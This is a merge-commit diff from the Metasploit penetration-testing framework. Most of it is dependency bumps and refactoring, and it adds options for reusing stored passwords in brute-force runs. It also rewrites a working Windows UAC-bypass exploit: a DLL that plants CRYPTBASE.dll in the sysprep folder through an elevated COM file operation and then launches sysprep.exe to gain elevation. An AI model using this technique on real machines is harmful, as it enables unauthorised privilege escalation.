Merge remote-tracking branch 'live/master' into feature/memcached-module

bug/bundler_fix
pdeardorff-r7 2015-01-15 09:40:21 -08:00
commit 0e893cd772
100 changed files with 3938 additions and 3577 deletions

View File

@ -9,7 +9,7 @@ PATH
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
meterpreter_bins (= 0.0.12)
meterpreter_bins (= 0.0.13)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -22,7 +22,7 @@ PATH
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.13.8)
metasploit-credential (~> 0.13.11)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.21.3)
pg (>= 0.11)
@ -101,7 +101,7 @@ GEM
gherkin (2.11.6)
json (>= 1.7.6)
hike (1.2.3)
i18n (0.6.11)
i18n (0.7.0)
journey (1.0.4)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
@ -112,7 +112,7 @@ GEM
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.13.8)
metasploit-credential (0.13.11)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit_data_models (~> 0.21.0)
@ -132,10 +132,10 @@ GEM
pg
railties (< 4.0.0)
recog (~> 1.0)
meterpreter_bins (0.0.12)
meterpreter_bins (0.0.13)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.1)
mini_portile (0.6.2)
msgpack (0.5.9)
multi_json (1.0.4)
network_interface (0.0.1)
@ -143,7 +143,7 @@ GEM
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.11.3)
pg (0.17.1)
pg (0.18.1)
polyglot (0.3.5)
pry (0.10.0)
coderay (~> 1.1.0)
@ -175,7 +175,7 @@ GEM
rb-readline (0.5.1)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.6)
recog (1.0.7)
nokogiri
redcarpet (3.1.2)
rkelly-remix (0.0.6)

View File

@ -34,6 +34,7 @@ module Metasploit
class Application < Rails::Application
include Metasploit::Framework::CommonEngine
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
end
end

File diff suppressed because it is too large Load Diff

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20140922170030) do
ActiveRecord::Schema.define(:version => 20150106201450) do
create_table "api_keys", :force => true do |t|
t.text "token"

View File

@ -93,7 +93,7 @@
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
@ -132,7 +132,7 @@
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
<ClCompile Include="src\ReflectiveDll.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
<ClInclude Include="src\Exploit.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

247
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp vendored Normal file → Executable file
View File

@ -1,119 +1,158 @@
#include "ReflectiveLoader.h"
#include "Exploit.h"
void exploit()
{
#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
const wchar_t *sySysPrepExe = L"sysprep.exe";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
wchar_t szElevDir[MAX_PATH] = {};
wchar_t szElevDir_syswow64[MAX_PATH] = {};
wchar_t szElevDllFull[MAX_PATH] = {};
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
wchar_t szElevExeFull[MAX_PATH] = {};
wchar_t path[MAX_PATH] = {};
wchar_t windir[MAX_PATH] = {};
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
PVOID OldValue = NULL;
extern "C" {
IFileOperation *pFileOp = NULL;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
void exploit(BypassUacPaths const * const paths)
{
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
PVOID OldValue = NULL;
GetWindowsDirectoryW(windir, MAX_PATH);
GetTempPathW(MAX_PATH, path);
IFileOperation *pFileOp = NULL;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
/* %temp%\cryptbase.dll */
wcscat_s(path, MAX_PATH, szSourceDll);
/* %windir%\System32\sysprep\ */
wcscat_s(szElevDir, MAX_PATH, windir);
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
BOOL bComInitialised = FALSE;
/* %windir%\sysnative\sysprep\ */
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
/* %windir\system32\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
/* %windir\sysnative\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
/* %windir%\system32\sysprep\sysprep.exe */
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
if (CoInitialize(NULL) == S_OK)
{
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
do
{
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
if (CoInitialize(NULL) != S_OK)
{
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
{
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
{
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
{
/* Copy the DLL file to the sysprep folder*/
if (pFileOp->PerformOperations() == S_OK)
{
/* Execute sysprep.exe */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
}
}
}
}
}
}
}
}
}
}
dprintf("[BYPASSUACINJ] Failed to initialize COM");
break;
}
bComInitialised = TRUE;
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
break;
}
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
break;
}
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
break;
}
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
break;
}
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
break;
}
/* Copy the DLL file to the target folder*/
if (pFileOp->PerformOperations() != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
break;
}
/* Execute the target binary */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = paths->szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = paths->szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
dprintf("[BYPASSUACINJ] Successfully deleted dll");
// bail out this point because we don't need to keep trying to delete
break;
}
SAFERELEASE(pSHIDelete);
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
}
else
{
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
}
} while (0);
SAFERELEASE(pSHIDelete);
SAFERELEASE(pSHIDestination);
SAFERELEASE(pSHISource);
SAFERELEASE(pFileOp);
if (bComInitialised)
{
CoUninitialize();
}
}
}
}

30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h vendored Normal file → Executable file
View File

@ -5,4 +5,32 @@
#include <stdio.h>
#include <guiddef.h>
EXTERN_C void exploit();
// Uncomment this line to include debug output
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...)
{
va_list args;
char buffer[1024];
va_start(args, format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
}
#else
#define dprintf(...)
#endif
typedef struct _BypassUacPaths
{
wchar_t szElevDir[MAX_PATH];
wchar_t szElevDirSysWow64[MAX_PATH];
wchar_t szElevDll[MAX_PATH];
wchar_t szElevDllFull[MAX_PATH];
wchar_t szElevExeFull[MAX_PATH];
wchar_t szDllTempPath[MAX_PATH];
} BypassUacPaths;
EXTERN_C void exploit(BypassUacPaths const * const paths);

43
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c vendored Normal file → Executable file
View File

@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
exploit();
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
if (NULL != lpReserved)
{
dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
exploit((BypassUacPaths*)lpReserved);
}
ExitProcess(0);
break;
default:
break;
}
return TRUE;
}

View File

@ -2,6 +2,18 @@ require 'metasploit/framework/credential'
class Metasploit::Framework::CredentialCollection
# @!attribute additional_privates
# Additional privates to be combined
#
# @return [Array<String>]
attr_accessor :additional_privates
# @!attribute additional_publics
# Additional public to be combined
#
# @return [Array<String>]
attr_accessor :additional_publics
# @!attribute blank_passwords
# Whether each username should be tried with a blank password
# @return [Boolean]
@ -59,7 +71,27 @@ class Metasploit::Framework::CredentialCollection
opts.each do |attribute, value|
public_send("#{attribute}=", value)
end
self.prepended_creds ||= []
self.prepended_creds ||= []
self.additional_privates ||= []
self.additional_publics ||= []
end
# Adds a string as an addition private credential
# to be combined in the collection.
#
# @param [String] :private_str the string to use as a private
# @return [void]
def add_private(private_str='')
additional_privates << private_str
end
# Adds a string as an addition public credential
# to be combined in the collection.
#
# @param [String] :public_str the string to use as a public
# @return [void]
def add_public(public_str='')
additional_publics << public_str
end
# Add {Credential credentials} that will be yielded by {#each}
@ -101,6 +133,9 @@ class Metasploit::Framework::CredentialCollection
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
end
end
if user_file.present?
@ -123,6 +158,9 @@ class Metasploit::Framework::CredentialCollection
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private))
end
end
end
end
@ -141,6 +179,28 @@ class Metasploit::Framework::CredentialCollection
end
end
additional_publics.each do |add_public|
if password.present?
yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) )
end
if user_as_pass
yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password)
end
if blank_passwords
yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password)
end
if pass_fd
pass_fd.each_line do |pass_from_file|
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private))
end
end
ensure
pass_fd.close if pass_fd && !pass_fd.closed?
end

View File

@ -57,8 +57,8 @@ module Metasploit
inclusion: { in: [true, false] }
validates :bruteforce_speed,
presence: false,
numericality: {
allow_nil: true,
only_integer: true,
greater_than_or_equal_to: 0,
less_than_or_equal_to: 5

View File

@ -151,10 +151,10 @@ module Exploit
if e.kind_of?(Msf::OptionValidateError)
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
else
mod.print_error("Call stack:")
exploit.print_error("Call stack:")
e.backtrace.each do |line|
break if line =~ /lib.msf.base.simple.exploit.rb/
mod.print_error(" #{line}")
exploit.print_error(" #{line}")
end
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
end

View File

@ -49,6 +49,47 @@ module Auxiliary::AuthBrute
@@max_per_service = nil
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# a private type of 'ntlm_hash'
#
# @yieldparam [Metasploit::Credential::Core]
def each_ntlm_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
creds.each do |cred|
yield cred
end
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# a private type of 'password'
#
# @yieldparam [Metasploit::Credential::Core]
def each_password_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
creds.each do |cred|
yield cred
end
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# a private type of 'ssh_key'
#
# @yieldparam [Metasploit::Credential::Core]
def each_ssh_cred
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
creds.each do |cred|
yield cred
end
end
# Checks whether we should be adding creds from the DB to a CredCollection
#
# @return [TrueClass] if any of the datastore options for db creds are selected and the db is active
# @return [FalseClass] if none of the datastore options are selected OR the db is not active
def prepend_db_creds?
(datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active
end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
@ -56,10 +97,9 @@ module Auxiliary::AuthBrute
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_hashes(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
creds.each do |cred|
cred_collection.prepend_cred(cred.to_credential)
if prepend_db_creds?
each_ntlm_cred do |cred|
process_cred_for_collection(cred_collection,cred)
end
end
cred_collection
@ -72,10 +112,9 @@ module Auxiliary::AuthBrute
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_keys(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
creds.each do |cred|
cred_collection.prepend_cred(cred.to_credential)
if prepend_db_creds?
each_ssh_cred do |cred|
process_cred_for_collection(cred_collection,cred)
end
end
cred_collection
@ -88,15 +127,27 @@ module Auxiliary::AuthBrute
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
def prepend_db_passwords(cred_collection)
if datastore['DB_ALL_CREDS'] && framework.db.active
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
creds.each do |cred|
cred_collection.prepend_cred(cred.to_credential)
if prepend_db_creds?
each_password_cred do |cred|
process_cred_for_collection(cred_collection,cred)
end
end
cred_collection
end
# Takes a {Metasploit::Credential::Core} and converts it into a
# {Metasploit::Framework::Credential} and processes it into the
# {Metasploit::Framework::CredentialCollection} as dictated by the
# selected datastore options.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @param [Metasploit::Credential::Core] the Credential Core to process
def process_cred_for_collection(cred_collection, cred)
msf_cred = cred.to_credential
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
cred_collection.add_private(msf_cred.private) if datastore['DB_ALL_PASS']
cred_collection.add_public(msf_cred.public) if datastore['DB_ALL_USERS']
end
# Checks all three files for usernames and passwords, and combines them into

View File

@ -29,6 +29,7 @@ module Auxiliary::JohnTheRipper
OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']),
OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']),
OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']),
OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]),
OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]),
OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']),
OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]),

View File

@ -12,6 +12,38 @@ module Auxiliary::Report
optionally_include_metasploit_credential_creation
def create_cracked_credential(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def create_credential(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def create_credential_login(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
def invalidate_login(opts={})
if active_db?
super(opts)
else
vprint_warning('No active DB -- Credential data will not be saved!')
end
end
# This method overrides the method from Metasploit::Credential to check for an active db
def active_db?
framework.db.active
@ -125,13 +157,102 @@ module Auxiliary::Report
framework.db.report_note(opts)
end
# This Legacy method is responsible for creating credentials from data supplied
# by a module. This method is deprecated and the new Metasploit::Credential methods
# should be used directly instead.
#
# @param :opts [Hash] the option hash
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
# @option opts [Fixnum] :port the port of the connected service
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
# @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key")
# @option opts [String] :proto Which transport protocol the service uses
# @option opts [String] :sname The 'name' of the service
# @option opts [String] :user The username for the cred
# @option opts [String] :pass The private part of the credential (e.g. password)
def report_auth_info(opts={})
print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!"
return if not db
opts = {
:workspace => myworkspace,
:task => mytask
}.merge(opts)
framework.db.report_auth_info(opts)
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?)
if opts[:host].kind_of?(::Mdm::Host)
host = opts[:host].address
else
host = opts[:host]
end
type = :password
case opts[:type]
when "password"
type = :password
when "hash"
type = :nonreplayable_hash
when "ssh_key"
type = :ssh_key
end
case opts[:proto]
when "tcp"
proto = "tcp"
when "udp"
proto = "udp"
else
proto = "tcp"
end
if opts[:service] && opts[:service].kind_of?(Mdm::Service)
port = opts[:service].port
proto = opts[:service].proto
service_name = opts[:service].name
host = opts[:service].host.address
else
port = opts.fetch(:port)
service_name = opts.fetch(:sname, nil)
end
username = opts.fetch(:user, nil)
private = opts.fetch(:pass, nil)
service_data = {
address: host,
port: port,
service_name: service_name,
protocol: proto,
workspace_id: myworkspace_id
}
if self.type == "post"
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname
}
else
credential_data = {
origin_type: :service,
module_fullname: self.fullname
}
credential_data.merge!(service_data)
end
unless private.nil?
credential_data[:private_type] = type
credential_data[:private_data] = private
end
unless username.nil?
credential_data[:username] = username
end
credential_core = create_credential(credential_data)
login_data ={
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
def report_vuln(opts={})

View File

@ -13,18 +13,18 @@ module Msf::DBManager::IPAddress
end
def rfc3330_reserved(ip)
case ip.class.to_s
when "PacketFu::Octets"
case ip
when PacketFu::Octets
ip_x = ip.to_x
ip_i = ip.to_i
when "String"
when String
if ipv46_validator(ip)
ip_x = ip
ip_i = Rex::Socket.addr_atoi(ip)
else
raise ArgumentError, "Invalid IP address: #{ip.inspect}"
end
when "Fixnum"
when Fixnum
if (0..2**32-1).include? ip
ip_x = Rex::Socket.addr_itoa(ip)
ip_i = ip
@ -58,4 +58,4 @@ module Msf::DBManager::IPAddress
end
return ret
end
end
end

View File

@ -224,12 +224,12 @@ module Exploit::CmdStager
def guess_flavor
# First try to guess a compatible flavor based on the module & target information.
unless target_flavor.nil?
case target_flavor.class.to_s
when 'Array'
case target_flavor
when Array
return target_flavor[0].to_sym
when 'String'
when String
return target_flavor.to_sym
when 'Symbol'
when Symbol
return target_flavor
end
end
@ -283,12 +283,12 @@ module Exploit::CmdStager
# @return [Boolean] true if compatible, false otherwise.
def compatible_flavor?(f)
return true if target_flavor.nil?
case target_flavor.class.to_s
when 'String'
case target_flavor
when String
return true if target_flavor == f.to_s
when 'Array'
when Array
target_flavor.each { |tr| return true if tr.to_sym == f }
when 'Symbol'
when Symbol
return true if target_flavor == f
end
false

View File

@ -87,7 +87,7 @@ module Exploit::Java
raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s
end
if compile_options.class.to_s != "Array" && compile_options
if !compile_options.is_a?(Array) && compile_options
raise RuntimeError, "Compiler options must be of type Array."
end

View File

@ -123,7 +123,7 @@ module Exploit::Local::WindowsKernel
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
if arch.nil? && module_info['Arch']
arch = module_info['Arch']
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
arch = arch[0] if arch.is_a?(Array) and arch.length == 1
end
if arch.nil?
print_error('Can not determine the target architecture')

View File

@ -30,7 +30,7 @@ module Exploit::PDF
#Original Filters
##
def ASCIIHexWhitespaceEncode(str)
def ascii_hex_whitespace_encode(str)
return str if not datastore['PDF::Obfuscate']
result = ""
whitespace = ""
@ -44,7 +44,7 @@ module Exploit::PDF
##
#Filters from Origami parser
##
def RunLengthEncode(stream)
def run_length_encode(stream)
eod = 128
result = ""
i = 0
@ -85,7 +85,7 @@ module Exploit::PDF
result << eod.chr
end
def RandomNonASCIIString(count)
def random_non_ascii_string(count)
result = ""
count.times do
result << (rand(128) + 128).chr
@ -93,7 +93,7 @@ module Exploit::PDF
result
end
def ASCII85Encode(stream)
def ascii85_encode(stream)
eod = "~>"
i = 0
code = ""
@ -130,7 +130,7 @@ module Exploit::PDF
end
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
def nobfu(str)
return str if not datastore['PDF::Obfuscate']
result = ""
@ -149,13 +149,13 @@ module Exploit::PDF
##
def header(version = '1.5')
hdr = "%PDF-#{version}" << eol
